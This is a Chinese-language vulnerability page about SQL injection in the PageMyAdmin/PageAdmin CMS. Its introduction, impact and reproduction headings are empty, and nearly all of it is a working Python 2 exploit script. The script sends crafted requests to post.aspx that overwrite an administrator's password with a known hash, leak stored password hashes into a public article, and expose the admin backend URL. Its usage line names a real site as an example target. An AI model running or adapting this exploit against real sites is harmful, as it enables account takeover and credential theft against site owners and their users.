PageMyAdmin sql注入漏洞

一、漏洞简介

二、漏洞影响

三、复现过程

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-


import urllib2
import urllib
import re
import sys

def main():
    url=sys.argv[1]+"/e/aspx/post.aspx"
    fun=sys.argv[2]
    if fun=='upass':
        update(url)
    elif fun=='sqlinject':
        sqlinject(url)
    elif fun=='Backstage':
        Backstage(url)
    else:
        print'''
        usage: pageadminsql.py http://www.baidu.com/ upass
        parameter: uppass sqlinject Backstage
        '''
def update(url):
    headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":url+"?a=pageadmin_cms"}
    formate={
    "siteid":"1",
    "formtable":"1",
    "thedata":'[u][k]pa_member[k][s][k]userpassword="1527f10a11de5efea4b8516213413c103df55126"[k]where[k]id=2'
    }
    postdata = urllib.urlencode(formate)
    request = urllib2.Request(url, data=postdata, headers = headers)
    try:
        response = urllib2.urlopen(request)
        if response.getcode()==200:
            print u">>>>>>修改密码成功 修改密码：admin_1234213<<<<<<"
            pass
    except Exception as e:
        print u">>>>>>修改密码失败<<<<<<"
        pass
def sqlinject(url):
    headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":url+"?a=pageadmin_cms"}
    formate={
    "siteid":"1",
    "formtable":"1",
    "thedata":"[u][k]article,pa_member[k][s][k]article.title=pa_member.userpassword[k]where[k]article.id=747"
    }
    postdata = urllib.urlencode(formate)
    request = urllib2.Request(url, data=postdata, headers = headers)
    try:
        response = urllib2.urlopen(request)
        if response.getcode()==200:
            print u">>>>>>密码注入成功 查看密码地址：{0}/index.aspx?lanmuid=63&sublanmuid=654&id=747<<<<<<".format(sys.argv[1])
            pass
    except Exception as e:
        print u">>>>>>密码注入失败<<<<<<"
        pass
def Backstage(url):
    headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":url+"?a=pageadmin_cms"}
    formate={
    "siteid":"1",
    "formtable":"1",
    "thedata":"[u][k]article,pa_log[k][s][k]article.title=pa_log.url[k]where[k]article.id=747"
    }
    postdata = urllib.urlencode(formate)
    request = urllib2.Request(url, data=postdata, headers = headers)
    try:
        response = urllib2.urlopen(request)
        if response.getcode()==200:
            print u">>>>>>后台地址注入成功 查看后台地址：{0}/index.aspx?lanmuid=63&sublanmuid=654&id=747<<<<<<".format(sys.argv[1])
            pass
    except Exception as e:
        print u">>>>>>后台地址注入失败<<<<<<"
        pass
if __name__ == '__main__':
    main()